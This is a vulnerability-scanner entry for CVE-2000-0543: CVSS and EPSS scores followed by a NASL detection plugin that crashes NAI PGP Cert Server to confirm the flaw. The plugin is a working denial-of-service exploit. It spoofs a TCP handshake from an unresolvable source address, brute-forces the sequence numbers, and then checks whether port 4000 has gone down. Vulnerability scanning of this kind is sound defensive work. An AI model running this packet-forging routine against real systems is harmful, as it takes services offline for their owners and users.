6.7 Medium
AI Score
Confidence
Low
5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:N/I:N/A:P
0.005 Low
EPSS
Percentile
76.6%
It was possible to make the remote PGP Cert Server
crash by spoofing a TCP connection that seems to come from an unresolvable IP address.
# SPDX-FileCopyrightText: 2001 John Lampe
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.10442");
script_version("2023-07-21T05:05:22+0000");
script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1343");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
script_cve_id("CVE-2000-0543");
script_name("NAI PGP Cert Server DoS");
script_category(ACT_DENIAL);
script_family("Denial of Service");
script_copyright("Copyright (C) 2001 John Lampe");
script_dependencies("secpod_open_tcp_ports.nasl", "global_settings.nasl");
script_mandatory_keys("TCP/PORTS");
script_require_ports(4000);
script_exclude_keys("keys/TARGET_IS_IPV6");
script_tag(name:"solution", value:"Upgrade to the latest version.");
script_tag(name:"summary", value:"It was possible to make the remote PGP Cert Server
crash by spoofing a TCP connection that seems to come from an unresolvable IP address.");
script_tag(name:"impact", value:"An attacker may use this flaw to prevent your PGP
certificate server from working properly.");
script_tag(name:"qod_type", value:"remote_analysis");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("misc_func.inc");
include("port_service_func.inc");
if(TARGET_IS_IPV6())exit(0);
port1 = 4000;
if(!get_port_state(port1))exit(0);
soc = open_sock_tcp(port1);
if(!soc)exit(0);
close(soc);
dstaddr=get_host_ip();
srcaddr=this_host();
IPH = 20;
IP_LEN = IPH;
ip = forge_ip_packet( ip_v : 4,
ip_hl : 5,
ip_tos : 0,
ip_len : IP_LEN,
ip_id : 0xABA,
ip_p : IPPROTO_TCP,
ip_ttl : 255,
ip_off : 0,
ip_src : srcaddr);
port = tcp_get_first_open_port();
tcpip = forge_tcp_packet( ip : ip,
th_sport : port,
th_dport : port,
th_flags : TH_SYN,
th_seq : 0xF1C,
th_ack : 0,
th_x2 : 0,
th_off : 5,
th_win : 512,
th_urp : 0);
filter = string("tcp and (src addr ", dstaddr, " and dst addr ", srcaddr, " dst port ", port, ")");
result = send_packet(tcpip, pcap_active:TRUE, pcap_filter:filter);
if (result) {
tcp_seq = get_tcp_element(tcp:result, element:"th_seq");
}
#now spoof Funky IP with guessed sequence numbers
#packet 1.....SPOOF SYN
IPH = 20;
IP_LEN = IPH;
newsrcaddr = 10.187.76.12;
port = 4000;
ip2 = forge_ip_packet( ip_v : 4,
ip_hl : 5,
ip_tos : 0,
ip_len : IP_LEN,
ip_id : 0xABA,
ip_p : IPPROTO_TCP,
ip_ttl : 255,
ip_off : 0,
ip_src : newsrcaddr);
tcpip = forge_tcp_packet( ip : ip2,
th_sport : 5555,
th_dport : port,
th_flags : TH_SYN,
th_seq : 0xF1C,
th_ack : 0,
th_x2 : 0,
th_off : 5,
th_win : 512,
th_urp : 0);
result = send_packet(tcpip,pcap_active:FALSE);
# SPOOF SYN/ACK (brute guess next sequence number)
for (j=tcp_seq+1; j < tcp_seq + 25; j=j+1) {
tcpip = forge_tcp_packet( ip : ip2,
th_sport : 5555,
th_dport : port,
th_flags : TH_ACK,
th_seq : 0xF1D,
th_ack : j,
th_x2 : 0,
th_off : 5,
th_win : 512,
th_urp : 0);
send_packet(tcpip,pcap_active:FALSE);
}
sleep(15);
soc = open_sock_tcp(port1);
if(!soc){
security_message(port:port1);
exit(0);
}
exit(99);